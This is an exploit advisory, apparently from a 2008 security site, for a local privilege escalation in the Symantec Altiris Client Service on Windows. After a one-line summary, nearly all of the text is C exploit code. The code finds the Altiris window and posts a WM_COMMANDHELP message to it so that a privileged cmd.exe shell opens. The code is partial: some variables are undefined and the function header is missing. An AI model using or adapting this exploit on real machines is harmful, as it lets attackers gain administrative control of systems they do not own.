Symantec Altiris Client Service Local Privilege Escalation (Exploit)
15 May. 2008
Summary
A local vulnerability in Altiris Client allows attackers to cause the program to escalate the privileges of the attacker launching the below exploit against it.
printf("##########################################################\n");
printf("# Altiris Client Service #\n");
printf("# WM_COMMANDHELP Windows Privilege Escalation Exploit #\n");
printf("# by sirdarckcat & alt3kx #\n");
printf("# #\n");
printf("# This exploit is based on www.milw0rm.com/exploits/350 #\n");
printf("# Utility Manager Privilege Elevation Exploit (MS04-019) #\n");
printf("# by Cesar Cerrudo #\n");
printf("##########################################################\n\n");
id=PRIMARYLANGID(GetSystemDefaultLangID());
if (id==0 && (id=PRIMARYLANGID(GetUserDefaultLangID()))){
printf("Lang not found, using english\n");
id=9;
}
char sText[]="%windir%\\system32\\cmd.ex?";
if (argc<2){
printf("Use:\n> %s [LANG-ID]\n\n",argv[0]);
printf("Look for your LANG-ID here:\n");
printf("http://msdn2.microsoft.com/en-us/library/ms776294.aspx\n");
printf("\nAnyway, the program will try to guess it.\n\n");
return 0;
}else{
if (argc==2){
if (langH[atoi(argv[1])]){
id=atoi(argv[1]);
printf("Lang changed\n");
}else{
printf("Lang not supported\n",id);
}
}
}
printf("Using Lang %d\n",id);
printf("Looking for %s..\n",wname);
lHandle=FindWindow(NULL, wname);
if (!lHandle) {
printf("Window %s not found\n", wname);
return 0;
}else{
printf("Found! exploiting..\n");
}
PostMessage(lHandle,0x313,NULL,NULL);
